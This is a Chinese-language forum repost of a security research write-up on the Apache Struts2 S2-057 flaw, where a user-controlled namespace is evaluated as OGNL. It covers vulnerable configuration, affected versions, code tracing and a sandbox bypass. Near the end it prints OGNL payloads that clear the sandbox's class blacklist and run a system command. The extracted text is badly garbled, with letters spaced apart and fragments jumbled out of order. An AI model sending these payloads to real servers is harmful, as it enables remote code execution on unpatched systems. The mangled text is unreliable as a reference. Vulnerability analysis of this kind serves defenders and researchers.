搜索

[6792] 2020-06-25_Struts2漏洞系列之【S2-057】namespace可控导致的OGNL表达式执行

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-17
2020-06-25_Struts2漏洞系列之【S2-057】namespace可控导致的OGNL表达式执行 S t r u t s 2 漏 洞 系 列 之 【 S 2 - 0 5 7 】 n a m e s p a c e 可 控 导 致 的 O G N L 表 达 式 执 行 E 安 全   2 0 2 0 - 0 6 - 2 5 以 下 文 章 来 源 于 安 恒 信 息 安 全 研 究 院   ， 作 者 P e n t e s 7 e a m S m i 1 e @ P e n t e s 7 e a m 漏 洞 信 息 ： h t t p s : / / c w i k i . a p a c h e . o r g / c o n f l u e n c e / d i s p l a y / W W / S 2 - 0 5 7 当 S t r u t s 2 的 配 置 满 足 以 下 条 件 时 ：   值 为 t r u e 、   元 素 未 设 置     属 性 或 使 用 了 通 配 符 、   为     之 一   。   将 由 用 户 从 u r i 传 入 ， 并 作 为 O G N L 表 达 式 计 算 ， 最 终 造 成 命 令 执 行 漏 洞 。 漏 洞 复 现 漏 洞 复 现 影 响 范 围 影 响 范 围 S t r u t s   2 . 0 . 4   -   2 . 3 . 3 4 ， S t r u t s   2 . 5 . 0   -   2 . 5 . 1 6 漏 洞 分 析 漏 洞 分 析 s t r u t s . x m l 安 恒 信 息 安 全 研 究 院 安 恒 信 息 安 全 研 究 院   . 一 群 技 术 宅 a l w a y s S e l e c t F u l l N a m e s p a c e a c t i o n n a m e s p a c e r e s u l t   t y p e c h a i n 、 r e d i r e c t A c t i o n 、 p o s t b a c k n a m e s p a c e
s t r u t s 2 提 供 了 一 个 命 名 空 间 的 概 念 ， 可 以 通 过     的     属 性 来 设 置 ， 使 用 它 可 以 避 免     的 名 字 冲 突 ， 同 时 也 可 以 在 逻 辑 上 给     分 类 。   用 来 设 置 命 名 空 间 是 否 必 须 进 行 精 确 匹 配 ， 默 认 为 f a l s e 。 进 行 精 确 匹 配 时 要 求 请 求 u r l 中 的 命 名 空 间 必 须 与 配 置 文 件 中 配 置 的 某 个 命 名 空 间 必 须 相 同 ， 如 果 没 有 找 到 相 同 的 则 匹 配 失 败 。   的     方 法 用 来 从   u r i   中 解 析     对 象 ， 跟 进 用 来 从 u r i 中 解 析 出     和     的     方 法 。 当     为 t r u e 时 ， n a m e s p a c e 的 值 可 以 通 过 u r i 控 制 < s t r u t s >         < c o n s t a n t   n a m e = " s t r u t s . m a p p e r . a l w a y s S e l e c t F u l l N a m e s p a c e "   v a l u e = " t r u e "   / >         < p a c k a g e   n a m e = " S 2 - 0 3 2 "   e x t e n d s = " s t r u t s - d e f a u l t " >                 < a c t i o n   n a m e = " l o g i n "   c l a s s = " c o m . d e m o . a c t i o n . L o g i n A c t i o n " >                         < r e s u l t   n a m e = " s u c c e s s "   t y p e = " r e d i r e c t A c t i o n " >                                 < p a r a m   n a m e = " a c t i o n N a m e " > p a g e ? u s e r n a m e = $ { u s e r n a m e } < / p a r a m >                         < / r e s u l t >                         < r e s u l t   n a m e = " e r r o r " > i n d e x . j s p < / r e s u l t >                 < / a c t i o n >                 < a c t i o n   n a m e = " p a g e "   c l a s s = " c o m . d e m o . a c t i o n . P a g e A c t i o n " >                         < r e s u l t   n a m e = " s u c c e s s " > w e l c o m e . j s p < / r e s u l t >                 < / a c t i o n >         < / p a c k a g e > < / s t r u t s > p a c k a g e n a m e s p a c e a c t i o n a c t i o n a l w a y s S e l e c t F u l l N a m e s p a c e o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . m a p p e r . D e f a u l t A c t i o n M a p p e r g e t M a p p i n g A c t i o n M a p p i n g a c t i o n N a m e n a m e s p a c e p a r s e N a m e A n d N a m e s p a c e a l w a y s S e l e c t F u l l N a m e s p a c e
在 S 2 - 0 1 2 中 我 们 知 道     接 口 的 实 现 类 用 于 对     类 实 例 执 行 之 后 结 果 的 处 理 。   中 默 认 有 以 下 几 种 ， 存 在 漏 洞 的 有 。 R e s u l t a c t i o n s t r u t s - d e f a u l t . x m l c h a i n 、 r e d i r e c t A c t i o n 、 p o s t b a c k < p a c k a g e   n a m e = " s t r u t s - d e f a u l t "   a b s t r a c t = " t r u e " >         < r e s u l t - t y p e s >                 < r e s u l t - t y p e   n a m e = " c h a i n "   c l a s s = " c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C h a i n R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " d i s p a t c h e r "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . S e r v l e t D i s p a t c h e r R e s u l t "   d e f a u l t = " t r u e " / >                 < r e s u l t - t y p e   n a m e = " f r e e m a r k e r "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . v i e w s . f r e e m a r k e r . F r e e m a r k e r R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " h t t p h e a d e r "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . H t t p H e a d e r R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " r e d i r e c t "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . S e r v l e t R e d i r e c t R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " r e d i r e c t A c t i o n "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . S e r v l e t A c t i o n R e d i r e c t R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " s t r e a m "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . S t r e a m R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " v e l o c i t y "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . V e l o c i t y R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " x s l t "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . v i e w s . x s l t . X S L T R e s u l t " / >                 < r e s u l t - t y p e   n a m e = " p l a i n T e x t "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . P l a i n T e x t R e s u l t "   / >                 < r e s u l t - t y p e   n a m e = " p o s t b a c k "   c l a s s = " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . P o s t b a c k R e s u l t "   / >         < / r e s u l t - t y p e s >
在     类 的     方 法 中 下 断 点 ， 因 为 我 们 配 置 的 是     所 以 这 里 会 调 用     来 处 理 我 们 的     实 例 执 行 结 果 。 跟 进 其     方 法 c o m . o p e n s y m p h o n y . x w o r k 2 . D e f a u l t A c t i o n I n v o c a t i o n e x e c u t e R e s u l t ( ) t y p e = " r e d i r e c t A c t i o n " o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . S e r v l e t A c t i o n R e d i r e c t R e s u l t a c t i o n e x e c u t e
解 析 出     后 由 于 我 们 的 s t r u t s . x m l 中 没 有 配 置     ， 所 以     会 进 入     获 取 前 面 解 析 出 的     。 然 后 会 执 行     根 据     组 成 一 个 用 于 跳 转 的 u r i ， 然 后 调 用     赋 值 给     对 象 的     属 性 。 这 个 时 候 后 面 的 流 程 就 和 S 2 - 0 1 2 一 样 了 。 p u b l i c   v o i d   e x e c u t e ( A c t i o n I n v o c a t i o n   i n v o c a t i o n )   t h r o w s   E x c e p t i o n   {         t h i s . a c t i o n N a m e   =   t h i s . c o n d i t i o n a l P a r s e ( t h i s . a c t i o n N a m e ,   i n v o c a t i o n ) ;         i f   ( t h i s . n a m e s p a c e   = =   n u l l )   {                 t h i s . n a m e s p a c e   =   i n v o c a t i o n . g e t P r o x y ( ) . g e t N a m e s p a c e ( ) ;         }   e l s e   {                 t h i s . n a m e s p a c e   =   t h i s . c o n d i t i o n a l P a r s e ( t h i s . n a m e s p a c e ,   i n v o c a t i o n ) ;         }         i f   ( t h i s . m e t h o d   = =   n u l l )   {                 t h i s . m e t h o d   =   " " ;         }   e l s e   {                 t h i s . m e t h o d   =   t h i s . c o n d i t i o n a l P a r s e ( t h i s . m e t h o d ,   i n v o c a t i o n ) ;         }         S t r i n g   t m p L o c a t i o n   =   t h i s . a c t i o n M a p p e r . g e t U r i F r o m A c t i o n M a p p i n g ( n e w   A c t i o n M a p p i n g ( t h i s . a c t i o n N a m e ,   t h i s . n a m e s p a c e ,   t h i s . m e t h o d ,   ( M a p ) n u l l ) ) ;         t h i s . s e t L o c a t i o n ( t m p L o c a t i o n ) ;         s u p e r . e x e c u t e ( i n v o c a t i o n ) ; } a c t i o n N a m e n a m e s p a c e t h i s . n a m e s p a c e = n u l l i n v o c a t i o n . g e t P r o x y ( ) . g e t N a m e s p a c e ( ) n a m e s p a c e p u b l i c   S t r i n g   g e t N a m e s p a c e ( )   {                 r e t u r n   t h i s . n a m e s p a c e ; } t h i s . a c t i o n M a p p e r . g e t U r i F r o m A c t i o n M a p p i n g ( n e w   A c t i o n M a p p i n g ( t h i s . a c t i o n N a m e ,   t h i s . n a m e s p a c e ,   t h i s . m e t h o d ,   ( M a p ) n u l l ) ) a c t i o n N a m e 、 n a m e s p a c e 、 m e t h o d t h i s . s e t L o c a t i o n ( t m p L o c a t i o n ) S e r v l e t A c t i o n R e d i r e c t R e s u l t l o c a t i o n
调 用     执 行     类 的     方 法 ， 然 后 在     方 法 中 调 用 了 熟 悉 的     把 上 面 设 置 的 l o c a t i o n 属 性 值 进 行 o g n l 表 达 式 解 析 。 调 用 栈   和   s u p e r . e x e c u t e ( i n v o c a t i o n ) o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . S t r u t s R e s u l t S u p p o r t e x e c u t e c o n d i t i o n a l P a r s e T e x t P a r s e U t i l . t r a n s l a t e V a r i a b l e s c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C h a i n R e s u l t
  的 触 发 流 程 跟     大 致 一 样 。   在     方 法 中 直 接 执 行 了 。 虽 然 漏 洞 的 影 响 版 本 是 S t r u t s   2 . 5 . 0   -   2 . 5 . 1 6 ， 然 而 在 2 . 5 . 1 3 之 后 禁 止 使 用     来 获 取   o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . P o s t b a c k R e s u l t S e r v l e t A c t i o n R e d i r e c t R e s u l t c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C h a i n R e s u l t e x e c u t e o r g . a p a c h e . s t r u t s 2 . d i s p a t c h e r . P o s t b a c k R e s u l t # c o n t e x t
  对 象 2 . 5 . 2 0 版 本 后     不 可 变 了 所 以 S 2 - 0 4 5 的 绕 过 方 法 只 能 使 用 到 2 . 5 . 1 2 。 不 过 在 这 篇 文 章 中 提 到 2 . 5 . 1 3 到 2 . 5 . 1 6 的 绕 过 方 式 ： 作 为 武 器 的 C V E - 2 0 1 8 - 1 1 7 7 6 ： 绕 过 A p a c h e   S t r u t s   2 . 5 . 1 6   O G N L   沙 箱 首 先 因 为     无 法 访 问 ， 所 以 第 一 步 是 寻 找     的 替 代 方 案 。 作 者 发 现 在     中 有 一 个 k e y     ， 保 存 着     对 象 。 我 们 可 以 利 用     获 取   O g n l C o n t e x t e x c l u d e d C l a s s e s c o n t e x t c o n t e x t a t t r s t r u t s . v a l u e S t a c k O g n l V a l u e S t a c k O g n l V a l u e S t a c k c o n t e x t
  ：   而 虽 然     等 属 性 不 可 变 ， 但 我 们 可 以 利 用     将 其 置 空 。 虽 然 这 里 调 用     将     等 属 性 清 空 了 ， 但 是 这 里 相 当 于 又 给     创 建 了 一 个 新 的 集 合 ， 所 以 这 里     的 清 空 并 不 会 令     中 的     清 空 。 ( # c o n t e x t = # a t t r [ ' s t r u t s . v a l u e S t a c k ' ] . c o n t e x t ) e x c l u d e d C l a s s e s s e t t e r ( # c o n t e x t = # a t t r [ ' s t r u t s . v a l u e S t a c k ' ] . c o n t e x t ) . ( # c o n t a i n e r = # c o n t e x t [ ' c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C o n t e x t . c o n t a i n e r ' ] ) . ( # o g n l U t i l = # c o n t a i n e r . g e t I n s t a n c e ( @ c o m . o p e n s y m p h o n y s e t t e r e x c l u d e d C l a s s e s e x c l u d e d C l a s s e s e x c l u d e d C l a s s e s _ m e m b e r A c c e s s e x c l u d e d C l a s s e s
但 是 我 们 可 以 再 发 送 一 次 请 求     来 令     中 的     清 空 。 这 是 因 为 上 面 说 过     使 用 的 是 单 例 模 式 ， 每 一 次 请 求 用 的 都 是 同 一 个     对 象 。 我 们 第 一 次 请 求 清 空 其 属 性 后 ， 在 随 后 的 请 求 中 它 的 属 性 依 然 是 被 清 空 的 。 而     是 一 个 短 暂 的 对 象 ， 每 一 次 请 求 都 会 重 新 创 建 一 个     以 及     对 象 ( # c o n t e x t = # a t t r [ ' s t r u t s . v a l u e S t a c k ' ] . c o n t e x t ) . ( # c o n t e x t . s e t M e m b e r A c c e s s ( @ o g n l . O g n l C o n t e x t @ D E F A U L T _ M E M B E R _ A C C E S S ) ) . ( @ j a v a . l a n g . R u n t i m e @ g e t R u n t i m e ( ) . e x e c ( ' x c a l c ' ) ) _ m e m b e r A c c e s s e x c l u d e d C l a s s e s O g n l U t i l O g n l U t i l _ m e m b e r A c c e s s A c t i o n C o n t e x t V a l u e S t a c k
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理